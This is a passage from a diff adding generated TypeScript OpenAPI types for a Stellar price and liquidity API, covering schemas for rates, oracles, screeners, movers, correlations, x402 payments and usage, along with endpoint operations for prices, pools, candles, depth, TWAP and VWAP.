components["schemas"]["SpreadVenue"] | null; + }; + RateVenue: { + /** @description Lending venue the rate was read from (e.g. "blend"). */ + venue: string; + /** @description Distinct source tag stored on the row. */ + source: string; + /** @description Pool / market contract id the rate came from, never elided. */ + pool: string; + /** @description Human-readable pool name, when the venue publishes one. */ + poolName: string | null; + /** @description APY earned by supplying the asset, as a fraction (0.05 == 5%). */ + supplyRate: number; + /** @description APY charged to borrow the asset, as a fraction (0.07 == 7%). */ + borrowRate: number; + ledger: number; + /** Format: date-time */ + updatedAt: string; + }; + RatesResponse: { + asset: string; + /** @enum {string} */ + network: "testnet" | "mainnet"; + /** @description One entry per venue, sorted best-first (highest supply rate). Empty when no venue lists the asset. */ + venues: components["schemas"]["RateVenue"][]; + /** @description The highest-supply venue, or null when nothing lends the asset. */ + best: components["schemas"]["RateVenue"] | null; + count: number; + /** Format: date-time */ + computedAt: string; + }; + CompareResponse: { + asset: string; + /** @enum {string} */ + network: "testnet" | "mainnet"; + lens: number | null; + reflector: number | null; + deviationPct: number | null; + /** @enum {string} */ + status: "aligned" | "minor_deviation" | "major_deviation" | "partial"; + /** Format: date-time */ + fetchedAt: string; + /** @description One result per configured adapter; unavailable sources remain present with a status. */ + oracles: { + name: string; + price: number | null; + /** Format: date-time */ + timestamp: string | null; + deviationPct: number | null; + /** + * @description unreachable means the adapter failed; empty means it is configured but returned no quote. + * @enum {string} + */ + status: "available" | "unreachable" | "empty" | "not_configured"; + ageSeconds: number | null; + }[]; + }; + ScreenerRow: { + pair_key?: string; + volume?: number; + price?: number; + change_24h?: number; + /** @description Total liquidity across all active AMM pools for this pair on the network, computed as sum(reserve_a * spot_price + reserve_b), valued in the quote asset (asset_b) at each pool's latest snapshot spot price. */ + liquidity?: number; + /** @description The asset symbol/identifier that liquidity is denominated in, corresponding to the counter/quote asset (asset_b) of the pair (the asset after the slash in pair_key). */ + liquidity_unit?: string; + } & { + [key: string]: unknown; + }; + ScreenerResponse: { + /** + * @description The network answered for. + * @enum {string} + */ + network?: "testnet" | "mainnet"; + data: components["schemas"]["ScreenerRow"][]; + nextCursor: string | null; + hasMore: boolean; + total: number | null; + }; + MoverItem: { + pairKey: string; + assetA: string; + assetB: string; + priceChangePct: number | null; + startPrice: number | null; + endPrice: number | null; + currentVolume: number; + previousVolume: number; + volumeChangePct: number | null; + venues: string[]; + isSingleVenue: boolean; + sampleCount: number; + /** Format: date-time */ + lastUpdated: string | null; + }; + MoversResponse: { + /** @enum {string} */ + network: "testnet" | "mainnet"; + /** @enum {string} */ + window: "1h" | "24h" | "7d"; + /** Format: date-time */ + startTime: string; + /** Format: date-time */ + endTime: string; + gainers: components["schemas"]["MoverItem"][]; + losers: components["schemas"]["MoverItem"][]; + volumeMovers: components["schemas"]["MoverItem"][]; + }; + BenchmarkResponse: { + asset: string; + target: string; + pairKey: string; + currentPrice: number | null; + currentDeviationBp: number | null; + rolling24h: { + maxDeviationBp: number | null; + minDeviationBp: number | null; + maxAbsoluteDeviationBp: number | null; + averageDeviationBp: number | null; + sampleCount: number; + }; + }; + BasketResponse: { + basketPrice: number; + components: { + asset: string; + price: number; + weight: number; + contribution: number; + }[]; + weightSum: number; + /** Format: date-time */ + computedAt: string; + }; + CorrelationResponse: { + /** @enum {string} */ + network: "testnet" | "mainnet"; + /** @enum {string} */ + window: "5m" | "15m" | "1h" | "24h" | "7d" | "30d"; + /** Format: date-time */ + startTime: string; + /** Format: date-time */ + endTime: string; + assets: string[]; + /** @description Symmetric correlation matrix keyed by asset pair */ + matrix: { + [key: string]: { + [key: string]: number | null; + }; + }; + /** @description Overlapping sample count per pair */ + sampleCounts: { + [key: string]: { + [key: string]: number; + }; + }; + pairs: components["schemas"]["CorrelationCell"][]; + }; + CorrelationCell: { + assetA: string; + assetB: string; + /** @description Pearson correlation coefficient between -1 and 1, or null if insufficient */ + coefficient: number | null; + /** @enum {string} */ + status: "computed" | "insufficient"; + sampleCount: number; + provenance: { + sampleCount: number; + venues: string[]; + /** Format: date-time */ + oldestSample: string | null; + /** Format: date-time */ + newestSample: string | null; + }; + }; + DiscoveryResource: { + resource?: { + url?: string; + description?: string; + mimeType?: string; + serviceName?: string; + tags?: string[]; + iconUrl?: string; + } & { + [key: string]: unknown; + }; + accepts?: { + scheme?: string; + price?: string; + network?: string; + payTo?: string; + }[]; + extensions?: { + [key: string]: unknown; + }; + }; + DiscoveryResponse: { + resources: components["schemas"]["DiscoveryResource"][]; + limit: number; + offset: number; + total: number; + }; + WebhookCreatedResponse: { + id: string; + secret: string; + }; + UsageResponse: { + keyId: string; + dailyCalls: number; + dailyCents: number; + monthlyCalls: number; + monthlyCents: number; + dailyQuotaCents: number; + monthlyQuotaCents: number; + dailyRemainingCents: number; + monthlyRemainingCents: number; + /** @enum {string} */ + overagePolicy: "block" | "charge_402" | "allow_overage"; + quotaExceeded: boolean; + dailyResetsAt?: string; + monthlyResetsAt?: string; + resets?: { + daily?: string; + monthly?: string; + }; + resetsInSeconds?: { + daily?: number; + monthly?: number; + }; + }; + VerifyRequest: { + x402Version?: number; + paymentPayload: Record; + paymentRequirements: Record; + }; + VerifyResponse: { + isValid: boolean; + invalidReason?: string | null; + invalidMessage?: string | null; + payer?: string | null; + } & { + [key: string]: unknown; + }; + SettleRequest: { + x402Version?: number; + paymentPayload: Record; + paymentRequirements: Record; + }; + SettleResponse: { + success: boolean; + errorReason?: string | null; + errorMessage?: string | null; + transaction: string; + network: string; + } & { + [key: string]: unknown; + }; + SupportedResponse: { + kinds?: { + scheme?: string; + network?: string; + }[]; + extensions?: string[]; + } & { + [key: string]: unknown; + }; + GraphQlResponse: { + data?: Record | null; + errors?: { + message?: string; + }[]; + } & { + [key: string]: unknown; + }; + }; + responses: { + /** @description Payment Required */ + PaymentRequired: { + headers: { + [name: string]: unknown; + }; + content: { + "application/json": { + x402Version?: number; + accepts?: { + scheme?: string; + price?: string; + network?: string; + payTo?: string; + }[]; + error?: string; + description?: string; + }; + }; + }; + /** @description Rate limit exceeded */ + TooManyRequests: { + headers: { + /** @description Seconds to wait before retrying */ + "Retry-After"?: number; + /** @description Remaining requests in current window */ + "X-RateLimit-Remaining"?: number; + [name: string]: unknown; + }; + content: { + "application/json": { + statusCode?: number; + error?: string; + message?: string; + retryAfter?: string; + }; + }; + }; + /** @description Internal server error */ + InternalServerError: { + headers: { + [name: string]: unknown; + }; + content: { + "application/json": components["schemas"]["InternalErrorResponse"]; + }; + }; + }; + parameters: { + /** @description Formatting for decimal quantities (prices, volumes, reserves). Set to `string` to serialize high-precision `Decimal(36,18)` quantities as exact strings, preventing IEEE-754 floating-point precision loss. Defaults to `number`. Can also be negotiated via `Accept: application/json; decimals=strings` or query parameter `?decimals=strings`. */ + DecimalFormatHeader: "number" | "string"; + /** @description Stellar network to answer for — `testnet` or `mainnet`. Defaults to this instance's configured `STELLAR_NETWORK`. An unrecognised value is rejected with 400. DB-backed reads are currently served from whichever network this instance indexes, even when another is requested. */ + NetworkQuery: "testnet" | "mainnet"; + }; + requestBodies: never; + headers: { + /** @description Per-route cache policy (see "Cache policy" in the API description). Every route sends a deliberate `Cache-Control`: live prices `public, max-age=30`; aggregates `public, max-age=60`; `/pairs` and `/pools` `public, max-age=300`; closed candle windows `public, max-age=86400`; per-caller, operator and error responses `no-store`. */ + CacheControl: string; + }; + pathItems: never; +} +export type $defs = Record; +export interface operations { + getVenueRegistry: { + parameters: { + query?: { + /** @description Stellar network to answer for — `testnet` or `mainnet`. Defaults to this instance's configured `STELLAR_NETWORK`. An unrecognised value is rejected with 400. DB-backed reads are currently served from whichever network this instance indexes, even when another is requested. */ + network?: components["parameters"]["NetworkQuery"]; + }; + header?: never; + path?: never; + cookie?: never; + }; + requestBody?: never; + responses: { + /** @description Registered venues and their current liveness */ + 200: { + headers: { + [name: string]: unknown; + }; + content: { + "application/json": { + /** @enum {string} */ + network: "testnet" | "mainnet"; + venues: { + id: string; + /** @enum {string} */ + kind: "orderbook" | "amm" | "oracle"; + /** @enum {string} */ + network: "testnet" | "mainnet"; + enabled: boolean; + /** @enum {string} */ + liveness: "live" | "stale" | "disabled" | "unknown"; + /** Format: date-time */ + lastSeenAt: string | null; + }[]; + }; + }; + }; + }; + }; + getLive: { + parameters: { + query?: never; + header?: never; + path?: never; + cookie?: never; + }; + requestBody?: never; + responses: { + /** @description Process is alive. */ + 200: { + headers: { + [name: string]: unknown; + }; + content?: never; + }; + }; + }; + getTvl: { + parameters: { + query?: { + /** @description Stellar network to answer for — `testnet` or `mainnet`. Defaults to this instance's configured `STELLAR_NETWORK`. An unrecognised value is rejected with 400. DB-backed reads are currently served from whichever network this instance indexes, even when another is requested. */ + network?: components["parameters"]["NetworkQuery"]; + /** @description Return historical time series of TVL when true */ + history?: boolean; + /** @description Historical lookback window in hours (default 24) */ + window?: string; + }; + header?: never; + path?: never; + cookie?: never; + }; + requestBody?: never; + responses: { + /** @description Total Value Locked breakdown or historical series */ + 200: { + headers: { + "Cache-Control": components["headers"]["CacheControl"]; + [name: string]: unknown; + }; + content: { + "application/json": { + /** @example true */ + ok: boolean; + /** + * @description Seconds since the process started. + * @example 3600 + */ + uptimeSeconds: number; + }; + }; + }; + }; + }; + getReady: { + parameters: { + query?: never; + header?: never; + path?: never; + cookie?: never; + }; + requestBody?: never; + responses: { + /** @description Ready to receive traffic. */ + 200: { + headers: { + "Cache-Control": components["headers"]["CacheControl"]; + [name: string]: unknown; + }; + content: { + "application/json": components["schemas"]["ReadinessReport"]; + }; + }; + /** @description Invalid parameters */ + 400: { + headers: { + [name: string]: unknown; + }; + content?: never; + }; + /** @description Not ready. `ok` is false and `checks` says which dependency (or the boot sequence) is responsible. `/live` remains healthy. */ + 503: { + headers: { + [name: string]: unknown; + }; + content: { + "application/json": components["schemas"]["ReadinessReport"]; + }; + }; + }; + }; + getStatus: { + parameters: { + query?: { + /** @description Stellar network to answer for — `testnet` or `mainnet`. Defaults to this instance's configured `STELLAR_NETWORK`. An unrecognised value is rejected with 400. DB-backed reads are currently served from whichever network this instance indexes, even when another is requested. */ + network?: components["parameters"]["NetworkQuery"]; + }; + header?: never; + path?: never; + cookie?: never; + }; + requestBody?: never; + responses: { + /** @description API status and health diagnostics */ + 200: { + headers: { + "Cache-Control": components["headers"]["CacheControl"]; + [name: string]: unknown; + }; + content: { + "application/json": { + ok?: boolean; + /** @enum {string} */ + status?: "healthy" | "degraded" | "unhealthy"; + /** @enum {string} */ + network?: "testnet" | "mainnet"; + health?: { + process?: string; + data?: string; + }; + process?: { + uptimeSeconds?: number; + memoryUsageMb?: number; + status?: string; + }; + data?: { + lastIndexedLedger?: number | null; + /** Format: date-time */ + lastProcessedAt?: string | null; + ingestLagSeconds?: number | null; + isStale?: boolean; + }; + watchedPairs?: string[]; + lastIndexedLedger?: number | null; + /** Format: date-time */ + lastProcessedAt?: string | null; + ingestLagSeconds?: number | null; + /** @description Whether this deployment has an ADMIN_TOKEN configured, so an operator can tell a rejected token from a disabled admin surface. Reports only that a token is set, never any part of its value. Admin routes answer 503 admin_not_configured when this is false. */ + adminConfigured?: boolean; + }; + }; + }; + 429: components["responses"]["TooManyRequests"]; + /** @description Service unhealthy or database unreachable */ + 503: { + headers: { + [name: string]: unknown; + }; + content: { + "application/json": { + ok?: boolean; + status?: string; + /** + * @description A fixed phrase, never the database driver's message. This route is public and unauthenticated, and a connection failure carries the host, the user and sometimes the whole connection string; the detail is logged server-side instead. + * @example Database unavailable + */ + error?: string; + /** @example DATABASE_DOWN */ + pagingCondition?: string; + }; + }; + }; + }; + }; + getSnapshot: { + parameters: { + query?: { + /** @description Stellar network to answer for — `testnet` or `mainnet`. Defaults to this instance's configured `STELLAR_NETWORK`. An unrecognised value is rejected with 400. DB-backed reads are currently served from whichever network this instance indexes, even when another is requested. */ + network?: components["parameters"]["NetworkQuery"]; + }; + header?: never; + path?: never; + cookie?: never; + }; + requestBody?: never; + responses: { + /** @description Network snapshot */ + 200: { + headers: { + /** @description Freshness/brief-caching policy for the snapshot. */ + "Cache-Control"?: string; + /** @description Whether this response came from the short-lived cache. */ + "X-Cache"?: "HIT" | "MISS"; + [name: string]: unknown; + }; + content: { + "application/json": components["schemas"]["SnapshotResponse"]; + }; + }; + 429: components["responses"]["TooManyRequests"]; + /** @description Snapshot aggregation failed */ + 500: { + headers: { + [name: string]: unknown; + }; + content: { + "application/json": components["schemas"]["InternalErrorResponse"]; + }; + }; + }; + }; + getPrice: { + parameters: { + query?: { + /** @description Stellar network to answer for — `testnet` or `mainnet`. Defaults to this instance's configured `STELLAR_NETWORK`. An unrecognised value is rejected with 400. DB-backed reads are currently served from whichever network this instance indexes, even when another is requested. */ + network?: components["parameters"]["NetworkQuery"]; + }; + header?: { + /** @description Formatting for decimal quantities (prices, volumes, reserves). Set to `string` to serialize high-precision `Decimal(36,18)` quantities as exact strings, preventing IEEE-754 floating-point precision loss. Defaults to `number`. Can also be negotiated via `Accept: application/json; decimals=strings` or query parameter `?decimals=strings`. */ + "X-Decimal-Format"?: components["parameters"]["DecimalFormatHeader"]; + }; + path: { + /** @example XLM */ + assetA: string; + /** @example USDC */ + assetB: string; + }; + cookie?: never; + }; + requestBody?: never; + responses: { + /** @description Aggregated price data */ + 200: { + headers: { + "Cache-Control": components["headers"]["CacheControl"]; + [name: string]: unknown; + }; + content: { + "application/json": components["schemas"]["AggregatedPrice"]; + }; + }; + 402: components["responses"]["PaymentRequired"]; + /** @description Pair not watched */ + 404: { + headers: { + [name: string]: unknown; + }; + content?: never; + }; + 429: components["responses"]["TooManyRequests"]; + }; + }; + getBestRoute: { + parameters: { + query?: { + amount?: number; + /** @description Stellar network to answer for — `testnet` or `mainnet`. Defaults to this instance's configured `STELLAR_NETWORK`. An unrecognised value is rejected with 400. DB-backed reads are currently served from whichever network this instance indexes, even when another is requested. */ + network?: components["parameters"]["NetworkQuery"]; + }; + header?: { + /** @description Formatting for decimal quantities (prices, volumes, reserves). Set to `string` to serialize high-precision `Decimal(36,18)` quantities as exact strings, preventing IEEE-754 floating-point precision loss. Defaults to `number`. Can also be negotiated via `Accept: application/json; decimals=strings` or query parameter `?decimals=strings`. */ + "X-Decimal-Format"?: components["parameters"]["DecimalFormatHeader"]; + }; + path: { + assetA: string; + assetB: string; + }; + cookie?: never; + }; + requestBody?: never; + responses: { + /** @description Best route information */ + 200: { + headers: { + "Cache-Control": components["headers"]["CacheControl"]; + [name: string]: unknown; + }; + content: { + "application/json": components["schemas"]["RouteInfo"]; + }; + }; + 402: components["responses"]["PaymentRequired"]; + 429: components["responses"]["TooManyRequests"]; + }; + }; + getFiatPrice: { + parameters: { + query?: { + currency?: string; + /** @description Stellar network to answer for — `testnet` or `mainnet`. Defaults to this instance's configured `STELLAR_NETWORK`. An unrecognised value is rejected with 400. DB-backed reads are currently served from whichever network this instance indexes, even when another is requested. */ + network?: components["parameters"]["NetworkQuery"]; + }; + header?: never; + path: { + asset: string; + }; + cookie?: never; + }; + requestBody?: never; + responses: { + /** @description Price converted into target fiat currency */ + 200: { + headers: { + [name: string]: unknown; + }; + content: { + "application/json": Record; + }; + }; + /** @description Invalid parameters */ + 400: { + headers: { + [name: string]: unknown; + }; + content?: never; + }; + 429: components["responses"]["TooManyRequests"]; + }; + }; + getPriceHistory: { + parameters: { + query?: { + window?: "1m" | "5m" | "1h" | "24h"; + limit?: number; + /** @description Stellar network to answer for — `testnet` or `mainnet`. Defaults to this instance's configured `STELLAR_NETWORK`. An unrecognised value is rejected with 400. DB-backed reads are currently served from whichever network this instance indexes, even when another is requested. */ + network?: components["parameters"]["NetworkQuery"]; + }; + header?: { + /** @description Formatting for decimal quantities (prices, volumes, reserves). Set to `string` to serialize high-precision `Decimal(36,18)` quantities as exact strings, preventing IEEE-754 floating-point precision loss. Defaults to `number`. Can also be negotiated via `Accept: application/json; decimals=strings` or query parameter `?decimals=strings`. */ + "X-Decimal-Format"?: components["parameters"]["DecimalFormatHeader"]; + }; + path: { + assetA: string; + assetB: string; + }; + cookie?: never; + }; + requestBody?: never; + responses: { + /** @description Price history */ + 200: { + headers: { + "Cache-Control": components["headers"]["CacheControl"]; + [name: string]: unknown; + }; + content: { + "application/json": { + pairKey?: string; + /** @enum {string} */ + network?: "testnet" | "mainnet"; + window?: string; + buckets?: components["schemas"]["PriceBucket"][]; + }; + }; + }; + /** @description Invalid parameters */ + 400: { + headers: { + [name: string]: unknown; + }; + content?: never; + }; + 429: components["responses"]["TooManyRequests"]; + }; + }; + getPools: { + parameters: { + query?: { + /** @description Stellar network to answer for — `testnet` or `mainnet`. Defaults to this instance's configured `STELLAR_NETWORK`. An unrecognised value is rejected with 400. DB-backed reads are currently served from whichever network this instance indexes, even when another is requested. */ + network?: components["parameters"]["NetworkQuery"]; + }; + header?: { + /** @description Formatting for decimal quantities (prices, volumes, reserves). Set to `string` to serialize high-precision `Decimal(36,18)` quantities as exact strings, preventing IEEE-754 floating-point precision loss. Defaults to `number`. Can also be negotiated via `Accept: application/json; decimals=strings` or query parameter `?decimals=strings`. */ + "X-Decimal-Format"?: components["parameters"]["DecimalFormatHeader"]; + }; + path?: never; + cookie?: never; + }; + requestBody?: never; + responses: { + /** @description List of pools */ + 200: { + headers: { + "Cache-Control": components["headers"]["CacheControl"]; + [name: string]: unknown; + }; + content: { + "application/json": { + pools?: { + pool_id?: string; + asset_a?: string; + asset_b?: string; + reserve_a?: number | string; + reserve_b?: number | string; + spot_price?: number | string; + fee_bp?: number; + /** Format: date-time */ + timestamp?: string; + }[]; + }; + }; + }; + 402: components["responses"]["PaymentRequired"]; + 429: components["responses"]["TooManyRequests"]; + }; + }; + getCandles: { + parameters: { + query?: { + interval?: "1m" | "5m" | "15m" | "1h" | "4h" | "1d"; + /** @description Start of the time window (inclusive). Together with `to` this defines a half-open interval [from, to): samples whose timestamp is exactly `from` are included, samples whose timestamp is exactly `to` are excluded. This means two adjacent windows [T0, T1) and [T1, T2) share no boundary — a sample landing exactly on T1 appears in exactly one of the two windows. */ + from?: string; + /** @description End of the time window (exclusive). Together with `from` this defines a half-open interval [from, to): samples whose timestamp is exactly `to` are excluded, samples whose timestamp is exactly `from` are included. This means two adjacent windows [T0, T1) and [T1, T2) share no boundary — a sample landing exactly on T1 appears in exactly one of the two windows. */ + to?: string; + }; + header?: never; + path: { + assetA: string; + assetB: string; + }; + cookie?: never; + }; + requestBody?: never; + responses: { + /** @description Candle data */ + 200: { + headers: { + "Cache-Control": components["headers"]["CacheControl"]; + [name: string]: unknown; + }; + content: { + "application/json": { + pairKey?: string; + interval?: string; + from?: string; + to?: string; + candles?: { + /** Format: date-time */ + time?: string; + open?: number; + high?: number; + low?: number; + close?: number; + volume?: number; + }[]; + }; + }; + }; + /** @description Invalid parameters */ + 400: { + headers: { + [name: string]: unknown; + }; + content?: never; + }; + 402: components["responses"]["PaymentRequired"]; + 429: components["responses"]["TooManyRequests"]; + }; + }; + getPriceSnapshots: { + parameters: { + query: { + /** @example XLM/USDC */ + pair: string; + interval?: "1m" | "5m" | "1h"; + /** @description Start of the time window (inclusive). Together with `to` this defines a half-open interval [from, to): samples whose timestamp is exactly `from` are included, samples whose timestamp is exactly `to` are excluded. This means two adjacent windows [T0, T1) and [T1, T2) share no boundary — a sample landing exactly on T1 appears in exactly one of the two windows. */ + from?: string; + /** @description End of the time window (exclusive). Together with `from` this defines a half-open interval [from, to): samples whose timestamp is exactly `to` are excluded, samples whose timestamp is exactly `from` are included. This means two adjacent windows [T0, T1) and [T1, T2) share no boundary — a sample landing exactly on T1 appears in exactly one of the two windows. */ + to?: string; + /** @description Response encoding. `csv` returns a text/csv body holding a `ts,price,volume` table (RFC 4180 quoting, LF line endings, one trailing newline); `json` is the default. */ + format?: "json" | "csv"; + /** @description Stellar network to answer for — `testnet` or `mainnet`. Defaults to this instance's configured `STELLAR_NETWORK`. An unrecognised value is rejected with 400. DB-backed reads are currently served from whichever network this instance indexes, even when another is requested. */ + network?: components["parameters"]["NetworkQuery"]; + }; + header?: never; + path?: never; + cookie?: never; + }; + requestBody?: never; + responses: { + /** @description Historical price snapshots */ + 200: { + headers: { + "Cache-Control": components["headers"]["CacheControl"]; + [name: string]: unknown; + }; + content: { + "text/csv": string; + "application/json": { + pair?: string; + /** @enum {string} */ + network?: "testnet" | "mainnet"; + interval?: string; + /** Format: date-time */ + from?: string; + /** Format: date-time */ + to?: string; + count?: number; + points?: { + /** Format: date-time */ + ts?: string; + price?: number; + volume?: number; + }[]; + }; + }; + }; + /** @description Invalid parameters */ + 400: { + headers: { + [name: string]: unknown; + }; + content?: never; + }; + 402: components["responses"]["PaymentRequired"]; + 429: components["responses"]["TooManyRequests"]; + }; + }; + listPairs: { + parameters: { + query?: { + /** @description Stellar network to answer for — `testnet` or `mainnet`. Defaults to this instance's configured `STELLAR_NETWORK`. An unrecognised value is rejected with 400. DB-backed reads are currently served from whichever network this instance indexes, even when another is requested. */ + network?: components["parameters"]["NetworkQuery"]; + }; + header?: never; + path?: never; + cookie?: never; + }; + requestBody?: never; + responses: { + /** @description List of pairs */ + 200: { + headers: { + "Cache-Control": components["headers"]["CacheControl"]; + [name: string]: unknown; + }; + content: { + "application/json": { + pairs?: { + pairKey?: string; + assetA?: components["schemas"]["Asset"]; + assetB?: components["schemas"]["Asset"]; + latestPrice?: number | null; + /** Format: date-time */ + lastUpdated?: string | null; + }[]; + }; + }; + }; + 429: components["responses"]["TooManyRequests"]; + }; + }; + addPair: { + parameters: { + query?: never; + header?: never; + path?: never; + cookie?: never; + }; + requestBody: { + content: { + "application/json": { + /** @example XLM */ + assetA?: string; + /** @example USDC:GBBD47... */ + assetB?: string; + }; + }; + }; + responses: { + /** @description Pair added */ + 201: { + headers: { + [name: string]: unknown; + }; + content?: never; + }; + /** @description Invalid input */ + 400: { + headers: { + [name: string]: unknown; + }; + content?: never; + }; + /** @description Unauthorized */ + 401: { + headers: { + [name: string]: unknown; + }; + content?: never; + }; + /** @description Pair already exists */ + 409: { + headers: { + [name: string]: unknown; + }; + content?: never; + }; + 429: components["responses"]["TooManyRequests"]; + }; + }; + getDepth: { + parameters: { + query?: { + amount?: number; + /** @description Stellar network to answer for — `testnet` or `mainnet`. Defaults to this instance's configured `STELLAR_NETWORK`. An unrecognised value is rejected with 400. DB-backed reads are currently served from whichever network this instance indexes, even when another is requested. */ + network?: components["parameters"]["NetworkQuery"]; + }; + header?: { + /** @description Formatting for decimal quantities (prices, volumes, reserves). Set to `string` to serialize high-precision `Decimal(36,18)` quantities as exact strings, preventing IEEE-754 floating-point precision loss. Defaults to `number`. Can also be negotiated via `Accept: application/json; decimals=strings` or query parameter `?decimals=strings`. */ + "X-Decimal-Format"?: components["parameters"]["DecimalFormatHeader"]; + }; + path: { + /** @example XLM */ + assetA: string; + /** @example USDC */ + assetB: string; + }; + cookie?: never; + }; + requestBody?: never; + responses: { + /** @description Depth ladder */ + 200: { + headers: { + "Cache-Control": components["headers"]["CacheControl"]; + [name: string]: unknown; + }; + content: { + "application/json": components["schemas"]["DepthResponse"]; + }; + }; + /** @description Invalid amount */ + 400: { + headers: { + [name: string]: unknown; + }; + content?: never; + }; + 402: components["responses"]["PaymentRequired"]; + /** @description Pair not watched */ + 404: { + headers: { + [name: string]: unknown; + }; + content?: never; + }; + 429: components["responses"]["TooManyRequests"]; + }; + }; + getBook: { + parameters: { + query?: { + /** @description Maximum fractional distance from spot; valid range 0 to 0.5. */ + depth?: number; + /** @description AMM input-reserve fraction per synthetic rung; valid range 0.001 to 0.1. */ + step?: number; + /** @description Stellar network to answer for — `testnet` or `mainnet`. Defaults to this instance's configured `STELLAR_NETWORK`. An unrecognised value is rejected with 400. DB-backed reads are currently served from whichever network this instance indexes, even when another is requested. */ + network?: components["parameters"]["NetworkQuery"]; + }; + header?: { + /** @description Formatting for decimal quantities (prices, volumes, reserves). Set to `string` to serialize high-precision `Decimal(36,18)` quantities as exact strings, preventing IEEE-754 floating-point precision loss. Defaults to `number`. Can also be negotiated via `Accept: application/json; decimals=strings` or query parameter `?decimals=strings`. */ + "X-Decimal-Format"?: components["parameters"]["DecimalFormatHeader"]; + }; + path: { + /** + * @description Base asset; use XLM for native Stellar or CODE:ISSUER for a token. + * @example XLM + */ + assetA: string; + /** + * @description Quote asset; token issuers must be supplied in full. + * @example USDC:GBBD47IF6LWK7P7MDEVSCWR7DPUWV3NY3DTQEVFL4NAT4AQH3ZLLFLA5 + */ + assetB: string; + }; + cookie?: never; + }; + requestBody?: never; + responses: { + /** @description Book levels with per-venue provenance; unavailable venues are identified in the response. */ + 200: { + headers: { + [name: string]: unknown; + }; + content: { + "application/json": components["schemas"]["BookResponse"]; + }; + }; + /** @description Invalid asset, depth, or step parameter */ + 400: { + headers: { + [name: string]: unknown; + }; + content?: never; + }; + 429: components["responses"]["TooManyRequests"]; + /** @description No source could be read; response provenance identifies failed venues. */ + 503: { + headers: { + [name: string]: unknown; + }; + content: { + "application/json": components["schemas"]["BookResponse"]; + }; + }; + }; + }; + getImpact: { + parameters: { + query?: { + /** @description Comma-separated positive slippage percentages. Defaults to 1,5,10. */ + thresholds?: string; + /** @description Usable fraction of the A-side reserve, between 0 and 1. */ + liquidityFraction?: number; + /** @description Stellar network to answer for — `testnet` or `mainnet`. Defaults to this instance's configured `STELLAR_NETWORK`. An unrecognised value is rejected with 400. DB-backed reads are currently served from whichever network this instance indexes, even when another is requested. */ + network?: components["parameters"]["NetworkQuery"]; + }; + header?: never; + path: { + /** @example XLM */ + assetA: string; + /** @example USDC */ + assetB: string; + }; + cookie?: never; + }; + requestBody?: never; + responses: { + /** @description Adaptive impact curve */ + 200: { + headers: { + [name: string]: unknown; + }; + content: { + "application/json": components["schemas"]["ImpactResponse"]; + }; + }; + /** @description Invalid threshold or liquidity settings */ + 400: { + headers: { + [name: string]: unknown; + }; + content?: never; + }; + 402: components["responses"]["PaymentRequired"]; + /** @description Pair or AMM liquidity not found */ + 404: { + headers: { + [name: string]: unknown; + }; + content?: never; + }; + 429: components["responses"]["TooManyRequests"]; + }; + }; + getTwap: { + parameters: { + query?: { + /** @description Lookback window in minutes. */ + window?: number; + /** @description Sampling grid width in seconds. */ + sampleInterval?: number; + method?: "iqr" | "modified_zscore"; + /** @description Stellar network to answer for — `testnet` or `mainnet`. Defaults to this instance's configured `STELLAR_NETWORK`. An unrecognised value is rejected with 400. DB-backed reads are currently served from whichever network this instance indexes, even when another is requested. */ + network?: components["parameters"]["NetworkQuery"]; + }; + header?: { + /** @description Formatting for decimal quantities (prices, volumes, reserves). Set to `string` to serialize high-precision `Decimal(36,18)` quantities as exact strings, preventing IEEE-754 floating-point precision loss. Defaults to `number`. Can also be negotiated via `Accept: application/json; decimals=strings` or query parameter `?decimals=strings`. */ + "X-Decimal-Format"?: components["parameters"]["DecimalFormatHeader"]; + }; + path: { + assetA: string; + assetB: string; + }; + cookie?: never; + }; + requestBody?: never; + responses: { + /** @description TWAP result */ + 200: { + headers: { + "Cache-Control": components["headers"]["CacheControl"]; + [name: string]: unknown; + }; + content: { + "application/json": components["schemas"]["TwapResponse"]; + }; + }; + /** @description Invalid parameters */ + 400: { + headers: { + [name: string]: unknown; + }; + content?: never; + }; + 402: components["responses"]["PaymentRequired"]; + 429: components["responses"]["TooManyRequests"]; + /** @description TWAP computation failed */ + 500: { + headers: { + [name: string]: unknown; + }; + content?: never; + }; + }; + }; + getVwap: { + parameters: { + query?: { + /** @description Lookback window in minutes. */ + window?: number; + /** @description Restrict to a single venue (omitted pools every venue). */ + source?: "SDEX" | "AMM"; + method?: "iqr" | "modified_zscore"; + /** @description Stellar network to answer for — `testnet` or `mainnet`. Defaults to this instance's configured `STELLAR_NETWORK`. An unrecognised value is rejected with 400. DB-backed reads are currently served from whichever network this instance indexes, even when another is requested. */ + network?: components["parameters"]["NetworkQuery"]; + }; + header?: { + /** @description Formatting for decimal quantities (prices, volumes, reserves). Set to `string` to serialize high-precision `Decimal(36,18)` quantities as exact strings, preventing IEEE-754 floating-point precision loss. Defaults to `number`. Can also be negotiated via `Accept: application/json; decimals=strings` or query parameter `?decimals=strings`. */ + "X-Decimal-Format"?: components["parameters"]["DecimalFormatHeader"]; + }; + path: { + assetA: string; + assetB: string; + }; + cookie?: never; + }; + requestBody?: never; + responses: { + /** @description VWAP result */ + 200: { + headers: { + "Cache-Control": components["headers"]["CacheControl"]; + [name: string]: unknown; + }; + content: { + "application/json": components["schemas"]["VwapResponse"]; + }; + }; + /** @description Invalid parameters */ + 400: { + headers: { + [name: string]: unknown; + }; + content?: never; + }; + 402: components["responses"]["PaymentRequired"]; + 429: components["responses"]["TooManyRequests"]; + /** @description VWAP computation failed */ + 500: { + headers: { + [name: string]: unknown; + }; + content?: never; + }; + }; + }; + getVolumes: { + parameters: { + query?: { + window?: "24h" | "7d" | "30d"; + /** @description Stellar network to answer for — `testnet` or `mainnet`. Defaults to this instance's configured `STELLAR_NETWORK`. An unrecognised value is rejected with 400. DB-backed reads are currently served from whichever network this instance indexes, even when another is requested. */ + network?: components["parameters"]["NetworkQuery"]; + }; + header?: never; + path: { + /** @example XLM */ + asset: string; + }; + cookie?: never; + }; + requestBody?: never; + responses: { + /** @description Aggregated volume */ + 200: { + headers: { + "Cache-Control": components["headers"]["CacheControl"]; + [name: string]: unknown; + }; + content: { + "application/json": components["schemas"]["VolumeResponse"]; + }; + }; + /** @description Invalid window */ + 400: { + headers: { + [name: string]: unknown; + }; + content?: never; + }; + 429: components["responses"]["TooManyRequests"]; + /** @description Volume aggregation failed */ + 500: { + headers: { + [name: string]: unknown; + }; + content: { + "application/json": components["schemas"]["InternalErrorResponse"]; + }; + }; + }; + }; + getSpreads: { + parameters: { + query?: { + window?: "5m" | "15m" | "1h" | "24h"; + /** @description Stellar network to answer for — 